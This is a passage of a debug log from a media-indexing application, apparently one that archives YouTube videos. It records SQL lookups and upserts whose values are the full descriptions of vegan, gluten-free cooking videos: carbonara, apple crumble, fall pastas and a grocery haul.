Recipes!", 1, nil, false, "U3Pl3ug9w88", "https://www.youtube.com/watch?v=U3Pl3ug9w88", "/downloads/downloads/alec/Steamy Vegan/2023-10-31 What I Ate on a Cozy Sunday | Vegan & Gluten-Free Fall Recipes!/What I Ate on a Cozy Sunday | Vegan & Gluten-Free Fall Recipes! [U3Pl3ug9w88].NA", false, ~U[2023-10-31 00:00:00Z]] 20:31:07.960 [debug] QUERY OK source="sources" db=0.7ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.962 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-27 00:00:00Z], 1] 20:31:07.965 [debug] QUERY OK source="media_items" db=1.4ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I’m showing you how to make a completely vegan and creamier version of Carbonara Pasta! It’s a luscious tasting yet easy to make! So delicious the whole family will love it. Traditional spaghetti carbonara is eggs, pork, lots of cheese. Basically the most non-vegan pasta out there. But with some healthier and delicious plant-based swaps it’s incredibly delicious and satisfying. Perfect for weeknight dinners or a special date night in!\n\nApparently Carbonara was first created by accident by American soldiers living in italy during world war 2. To make their daily meals more filling and satisfying, they took their daily ration of eggs and bacon and mixed it into their spaghetti and thus Carbonara was born. Contrary to the more creamy and saucy americanized versions of this pasta, traditional carbonara doesn’t use any cream, just egg yolks and pork fat.\n\nWatch my full ‘PASTA RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\nWant more cozy eats? Check out my full ‘FALL RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nCREAMY VEGAN CARBONARA\n8 ounces pasta, uncooked\n1 block extra firm tofu\n’BACON’ SAUCE\n1/4\u00A0cup Tamari or gluten-free soy sauce (low-sodium preferably)\n1/4\u00A0cup\u00A0tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2\u00A0tablespoons\u00A0olive oil (or avocado oil)\n1\u00A0teaspoon\u00A0garlic powder\n1 tbsp maple syrup\n1\u00A0tablespoon\u00A0liquid smoke\n\nCREAMY CARBONARA SAUCE\n½ cup soy milk\n½ cup coconut milk\n1 cup cashews, soaked in hot water\n1 cup water\n½ cup liquid just egg \u202A@eatjust\u202C \n3 cloves garlic\n¼ cup nutritional yeast\n1 tbsp lemon juice or apple cider vinegar\n½ tsp kala namak\n⅛ tsp turmeric\n\n1. Preheat oven to 425°F (or air fryer to 410°F) and line a baking tray with foil.\n2. In a large bowl add all the bacon sauce ingredients and whisk well to combine. Using your hands crumble the block of extra firm tofu into small pieces directly into the bowl of bacon sauce. Then stir the tofu into the sauce until each piece is coated.\n3. Lightly spray the foil-lined baking tray with cooking oil and drop the tofu bits onto the tray, leaving a little bit of space between each piece to ensure they get crispy. Bake for 30 minutes until crispy and slightly charred, flipping halfway through cook time.\n4. Meanwhile, cook your pasta noodles according to package directions until al dente.\n5. Prepare the creamy carbonara sauce. Add all the carbonara sauce ingredients into a high-speed blender and blend on high-speed until completely smooth and creamy with no pieces of cashew remaining. \n6. Once the pasta is al dente, drain the water (reserve 1 cup of pasta water) and return the noodles to the saucepan, turning heat to low. Pour in the carbonara sauce and stir into the noodles. Continue stirring until completely coated and the sauce thickens up slightly, about 3 to 4 minutes. Remove from heat.\n7. Serving: Serve the pasta into bowls and generously sprinkle on the tofu bacon bits, and optionally (but highly recommend) top with vegan parmesan cheese. Enjoy!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Creamy Carbonara Pasta Recipe!", "55b5d31d-f22d-47eb-b21d-c3acfc08fe7c", 1, [], false, "iEd-Sb9cNEs", "https://www.youtube.com/watch?v=iEd-Sb9cNEs", 253, "/downloads/downloads/alec/Steamy Vegan/2023-10-27 VEGAN Creamy Carbonara Pasta Recipe!/VEGAN Creamy Carbonara Pasta Recipe! [iEd-Sb9cNEs].NA", false, false, false, 1, ~U[2023-10-27 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I’m showing you how to make a completely vegan and creamier version of Carbonara Pasta! It’s a luscious tasting yet easy to make! So delicious the whole family will love it. Traditional spaghetti carbonara is eggs, pork, lots of cheese. Basically the most non-vegan pasta out there. But with some healthier and delicious plant-based swaps it’s incredibly delicious and satisfying. Perfect for weeknight dinners or a special date night in!\n\nApparently Carbonara was first created by accident by American soldiers living in italy during world war 2. To make their daily meals more filling and satisfying, they took their daily ration of eggs and bacon and mixed it into their spaghetti and thus Carbonara was born. Contrary to the more creamy and saucy americanized versions of this pasta, traditional carbonara doesn’t use any cream, just egg yolks and pork fat.\n\nWatch my full ‘PASTA RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\nWant more cozy eats? Check out my full ‘FALL RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nCREAMY VEGAN CARBONARA\n8 ounces pasta, uncooked\n1 block extra firm tofu\n’BACON’ SAUCE\n1/4\u00A0cup Tamari or gluten-free soy sauce (low-sodium preferably)\n1/4\u00A0cup\u00A0tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2\u00A0tablespoons\u00A0olive oil (or avocado oil)\n1\u00A0teaspoon\u00A0garlic powder\n1 tbsp maple syrup\n1\u00A0tablespoon\u00A0liquid smoke\n\nCREAMY CARBONARA SAUCE\n½ cup soy milk\n½ cup coconut milk\n1 cup cashews, soaked in hot water\n1 cup water\n½ cup liquid just egg \u202A@eatjust\u202C \n3 cloves garlic\n¼ cup nutritional yeast\n1 tbsp lemon juice or apple cider vinegar\n½ tsp kala namak\n⅛ tsp turmeric\n\n1. Preheat oven to 425°F (or air fryer to 410°F) and line a baking tray with foil.\n2. In a large bowl add all the bacon sauce ingredients and whisk well to combine. Using your hands crumble the block of extra firm tofu into small pieces directly into the bowl of bacon sauce. Then stir the tofu into the sauce until each piece is coated.\n3. Lightly spray the foil-lined baking tray with cooking oil and drop the tofu bits onto the tray, leaving a little bit of space between each piece to ensure they get crispy. Bake for 30 minutes until crispy and slightly charred, flipping halfway through cook time.\n4. Meanwhile, cook your pasta noodles according to package directions until al dente.\n5. Prepare the creamy carbonara sauce. Add all the carbonara sauce ingredients into a high-speed blender and blend on high-speed until completely smooth and creamy with no pieces of cashew remaining. \n6. Once the pasta is al dente, drain the water (reserve 1 cup of pasta water) and return the noodles to the saucepan, turning heat to low. Pour in the carbonara sauce and stir into the noodles. Continue stirring until completely coated and the sauce thickens up slightly, about 3 to 4 minutes. Remove from heat.\n7. Serving: Serve the pasta into bowls and generously sprinkle on the tofu bacon bits, and optionally (but highly recommend) top with vegan parmesan cheese. Enjoy!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Creamy Carbonara Pasta Recipe!", 1, nil, fal (truncated) 20:31:07.966 [debug] QUERY OK source="sources" db=0.6ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.968 [debug] QUERY OK source="media_items" db=1.9ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-24 00:00:00Z], 1] 20:31:07.971 [debug] QUERY OK source="media_items" db=1.5ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan apple crumble recipe is an absolute DREAM COME TRUE! Perfectly sweet and spiced apples with a crispy, crunchy crumble topping, seriously what is not to LOVE! This vegan, gluten-free apple crumble recipe is easy to make, uses simple ingredients and is on the table in under an hour.\n\nCheck out my 'FALL RECIPES' playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\nGot a sweet tooth? Check out my 'SWEET TREATS' playlist, too! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nAPPLE CRUMBLE RECIPE! Vegan & gluten-free\n2 lbs apples (about 5 medium apples, I used ambrosia)\n¼ cup maple syrup\n2 tbsp coconut sugar/brown sugar\n2 tbsp lemon juice\n1 tbsp vanilla extract\n2 tbsp cornstarch\n1 tsp ground cinnamon\n\n¾ cup rolled oats\n¼ cup + 2 tbsp oat flour\n½ cup almond flour (or sub more oat flour)\n¼ cup + 2 tbsp cold vegan butter (OR sub nut butter)\n¼ cup + 2 tbsp coconut sugar/brown sugar\n½ tsp cinnamon\n¼ tsp nutmeg\n¼ tsp cardamom (optional)\n¼ tsp salt\n\n1. Preheat your oven to 350F and get a large pie plate or casserole dish ready.\n2. Wash and chop (peeling optional) the apples into roughly 1 inch cubes and add to a large mixing bowl.\n3. Then add in the maple syrup, brown sugar (or coconut sugar), lemon juice, vanilla, cinnamon and cornstarch and stir well to combine until the sugar and cornstarch is dissolved. Set bowl aside to macerate (release some juices).\n4. Prepare the crumble topping: In the bowl of a food processor, add the oat flour, almond flour, brown sugar/coconut sugar, cinnamon, nutmeg, cardamom and salt. Pulse a few times until blended together. \n5. Add the cold vegan butter (or nut butter) and pulse again a few times until it’s just combined and resembles coarse sand. Add the rolled oats and once more pulse in until it’s just incorporated into the mixture. It’s okay if the mixture ends up quite clumpy instead of crumbly.\n6. Lightly butter the pie plate with cooking spray or butter and pour the apple mixture in, using a spatula to smooth it into a somewhat even layer. Then using a spoon or your hands, sprinkle the crumble topping on top of the apples. If the mixture is quite clumpy, use your fingers break apart the clumps into little pebble-sized crumbles. Try to ensure there are no large gaps of apple poking through the crumble pieces (some small spaces are fine).\n7. Bake for 40 to 45 minutes, or until the crumble topping is golden and crispy and the apple filling is bubbly. Let cool for 15 minutes before serving. Enjoy with a dollop or vegan vanilla ice cream, whipped cream or yogurt!\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Apple Crumble Recipe 🍎 Are you ready to CRUMBLE?! 🥊", "3c4e9e7f-40a8-487b-acc7-7e64cc1602be", 1, [], false, "waSQQrFbflY", "https://www.youtube.com/watch?v=waSQQrFbflY", 254, "/downloads/downloads/alec/Steamy Vegan/2023-10-24 Vegan Apple Crumble Recipe 🍎 Are you ready to CRUMBLE?! 🥊/Vegan Apple Crumble Recipe 🍎 Are you ready to CRUMBLE?! 🥊 [waSQQrFbflY].NA", false, false, false, 1, ~U[2023-10-24 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This vegan apple crumble recipe is an absolute DREAM COME TRUE! Perfectly sweet and spiced apples with a crispy, crunchy crumble topping, seriously what is not to LOVE! This vegan, gluten-free apple crumble recipe is easy to make, uses simple ingredients and is on the table in under an hour.\n\nCheck out my 'FALL RECIPES' playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\nGot a sweet tooth? Check out my 'SWEET TREATS' playlist, too! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nAPPLE CRUMBLE RECIPE! Vegan & gluten-free\n2 lbs apples (about 5 medium apples, I used ambrosia)\n¼ cup maple syrup\n2 tbsp coconut sugar/brown sugar\n2 tbsp lemon juice\n1 tbsp vanilla extract\n2 tbsp cornstarch\n1 tsp ground cinnamon\n\n¾ cup rolled oats\n¼ cup + 2 tbsp oat flour\n½ cup almond flour (or sub more oat flour)\n¼ cup + 2 tbsp cold vegan butter (OR sub nut butter)\n¼ cup + 2 tbsp coconut sugar/brown sugar\n½ tsp cinnamon\n¼ tsp nutmeg\n¼ tsp cardamom (optional)\n¼ tsp salt\n\n1. Preheat your oven to 350F and get a large pie plate or casserole dish ready.\n2. Wash and chop (peeling optional) the apples into roughly 1 inch cubes and add to a large mixing bowl.\n3. Then add in the maple syrup, brown sugar (or coconut sugar), lemon juice, vanilla, cinnamon and cornstarch and stir well to combine until the sugar and cornstarch is dissolved. Set bowl aside to macerate (release some juices).\n4. Prepare the crumble topping: In the bowl of a food processor, add the oat flour, almond flour, brown sugar/coconut sugar, cinnamon, nutmeg, cardamom and salt. Pulse a few times until blended together. \n5. Add the cold vegan butter (or nut butter) and pulse again a few times until it’s just combined and resembles coarse sand. Add the rolled oats and once more pulse in until it’s just incorporated into the mixture. It’s okay if the mixture ends up quite clumpy instead of crumbly.\n6. Lightly butter the pie plate with cooking spray or butter and pour the apple mixture in, using a spatula to smooth it into a somewhat even layer. Then using a spoon or your hands, sprinkle the crumble topping on top of the apples. If the mixture is quite clumpy, use your fingers break apart the clumps into little pebble-sized crumbles. Try to ensure there are no large gaps of apple poking through the crumble pieces (some small spaces are fine).\n7. Bake for 40 to 45 minutes, or until the crumble topping is golden and crispy and the apple filling is bubbly. Let cool for 15 minutes before serving. Enjoy with a dollop or vegan vanilla ice cream, whipped cream or yogurt!\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes (truncated) 20:31:07.971 [debug] QUERY OK source="sources" db=0.5ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.974 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-22 00:00:00Z], 1] 20:31:07.977 [debug] QUERY OK source="media_items" db=1.9ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make two COZY & creamy fall pastas to warm your soul! They're both vegan, gluten-free and SO FRIGGEN YUMMY! Both are simple and straightforward enough for easy weeknight meals yet taste so indulgent that they'd be perfect for a cozy, romantic date night in. \n\nCheck out my full 'FALL RECIPES' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\nWant more PASTA RECIPES? Watch this 'PASTAS' playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\nONE POT BUTTERNUT SQUASH PASTA\n\n4 cups fusilli pasta noodles\n4 cups chopped butternut squash\n1 medium yellow onion, diced\n4 cloves garlic, minced\n1 tbsp fresh minced sage (or 1½ tsp dried)\n2 tsp fresh minced rosemary\nPinch of nutmeg\n4 cups vegetable broth\n1 cup coconut milk\n¼ cup nutritional yeast\n1 tbsp balsamic vinegar\n⅛ tsp of nutmeg\nSalt and pepper to taste\n\n1. Sauté the onion, garlic sage and rosemary until fragrant and slightly translucent.\n2. Add the cubed butternut squash, and coconut milk and cook covered on medium heat for 12 to 15 minutes or until the squash is fork tender.\n3. With a fork or potato masher, mash the butternut squash until its mostly creamy with a bit of texture remaining. Add the pasta noodles, veggie broth, balsamic, salt and pepper and cook covered for another 9 to 10 minutes until al dente, stirring occasionally. \n4. Remove from heat, Stir in the nutritional yeast and nutmeg, serve and garnish with additional fresh sage and vegan parmesan cheese.\n\nMUSHROOM & ARTICHOKE ALFREDO (VEGAN!\n\n1 lb. mushrooms, sliced (white, cremini)\n1 14 oz can artichoke hearts, roughly chopped\n3 to 4 cups spinach, roughly chopped\n1 package of pasta noodles\nfor the alfredo sauce\n½ cup cashews, soaked in boiling water 30 mins\n½ tbsp lemon juice\n1 tbsp nutritional yeast\n1 tsp salt\n½ tsp black pepper\n¾ cup plant milk\n1 medium onion, chopped\n4 cloves garlic, minced\n\n1. Cook your pasta noodles according to package directions\n2. In a sauce pan, sauté the garlic and onion in a tbsp of oil (or ¼ water/broth) until translucent and fragrant, about 4 minutes -- transfer to a high speed blender.\n3. Add more oil or broth to the saucepan and cook the mushrooms and artichokes on medium-high heat until their golden and softened -- in the meantime make the alfredo sauce\n4. Add all remaining alfredo sauce ingredients to your blender and blend on high speed for 45 to 60 seconds, until it forms a perfectly creamy sauce (seriously SO good)\n5. Once the mushrooms and artichokes are cooked, pour in the alfredo sauce and stir in the chopped spinach leaves. Keep heat on medium-low and allow the spinach to wilt, about 2 minutes.\n6. Add in the cooked pasta noodles, mixing well to ensure the sauce coats every noodle. Remove from the heat and serve. Enjoy!\n\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "COZY Fall Pasta Recipes to Warm the Soul 🧡 Vegan, gluten-free", "529e89e4-a181-47dc-8af6-474d25880624", 1, [], false, "Mm548qOiouk", "https://www.youtube.com/watch?v=Mm548qOiouk", 255, "/downloads/downloads/alec/Steamy Vegan/2023-10-22 COZY Fall Pasta Recipes to Warm the Soul 🧡 Vegan, gluten-free/COZY Fall Pasta Recipes to Warm the Soul 🧡 Vegan, gluten-free [Mm548qOiouk].NA", false, false, false, 1, ~U[2023-10-22 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you how to make two COZY & creamy fall pastas to warm your soul! They're both vegan, gluten-free and SO FRIGGEN YUMMY! Both are simple and straightforward enough for easy weeknight meals yet taste so indulgent that they'd be perfect for a cozy, romantic date night in. \n\nCheck out my full 'FALL RECIPES' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\nWant more PASTA RECIPES? Watch this 'PASTAS' playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\nONE POT BUTTERNUT SQUASH PASTA\n\n4 cups fusilli pasta noodles\n4 cups chopped butternut squash\n1 medium yellow onion, diced\n4 cloves garlic, minced\n1 tbsp fresh minced sage (or 1½ tsp dried)\n2 tsp fresh minced rosemary\nPinch of nutmeg\n4 cups vegetable broth\n1 cup coconut milk\n¼ cup nutritional yeast\n1 tbsp balsamic vinegar\n⅛ tsp of nutmeg\nSalt and pepper to taste\n\n1. Sauté the onion, garlic sage and rosemary until fragrant and slightly translucent.\n2. Add the cubed butternut squash, and coconut milk and cook covered on medium heat for 12 to 15 minutes or until the squash is fork tender.\n3. With a fork or potato masher, mash the butternut squash until its mostly creamy with a bit of texture remaining. Add the pasta noodles, veggie broth, balsamic, salt and pepper and cook covered for another 9 to 10 minutes until al dente, stirring occasionally. \n4. Remove from heat, Stir in the nutritional yeast and nutmeg, serve and garnish with additional fresh sage and vegan parmesan cheese.\n\nMUSHROOM & ARTICHOKE ALFREDO (VEGAN!\n\n1 lb. mushrooms, sliced (white, cremini)\n1 14 oz can artichoke hearts, roughly chopped\n3 to 4 cups spinach, roughly chopped\n1 package of pasta noodles\nfor the alfredo sauce\n½ cup cashews, soaked in boiling water 30 mins\n½ tbsp lemon juice\n1 tbsp nutritional yeast\n1 tsp salt\n½ tsp black pepper\n¾ cup plant milk\n1 medium onion, chopped\n4 cloves garlic, minced\n\n1. Cook your pasta noodles according to package directions\n2. In a sauce pan, sauté the garlic and onion in a tbsp of oil (or ¼ water/broth) until translucent and fragrant, about 4 minutes -- transfer to a high speed blender.\n3. Add more oil or broth to the saucepan and cook the mushrooms and artichokes on medium-high heat until their golden and softened -- in the meantime make the alfredo sauce\n4. Add all remaining alfredo sauce ingredients to your blender and blend on high speed for 45 to 60 seconds, until it forms a perfectly creamy sauce (seriously SO good)\n5. Once the mushrooms and artichokes are cooked, pour in the alfredo sauce and stir in the chopped spinach leaves. Keep heat on medium-low and allow the spinach to wilt, about 2 minutes.\ (truncated) 20:31:07.978 [debug] QUERY OK source="sources" db=1.3ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.981 [debug] QUERY OK source="media_items" db=2.3ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-19 00:00:00Z], 1] 20:31:07.984 [debug] QUERY OK source="media_items" db=1.2ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan and gluten-free grocery haul I'll show you what I eat in a week and the price of everything we bought in Vancouver, Canada. 🇨🇦 \n\nTOTAL SPENT = $126 CAD / $92 USD\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this other FALL COSTCO HAUL video ⬇️ \n\u00A0\u00A0\u00A0•\u00A0COSTCO\u00A0FALL\u00A0GROCERY\u00A0HAUL!\u00A0Vegan\u00A0&\u00A0Gluten-F...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ 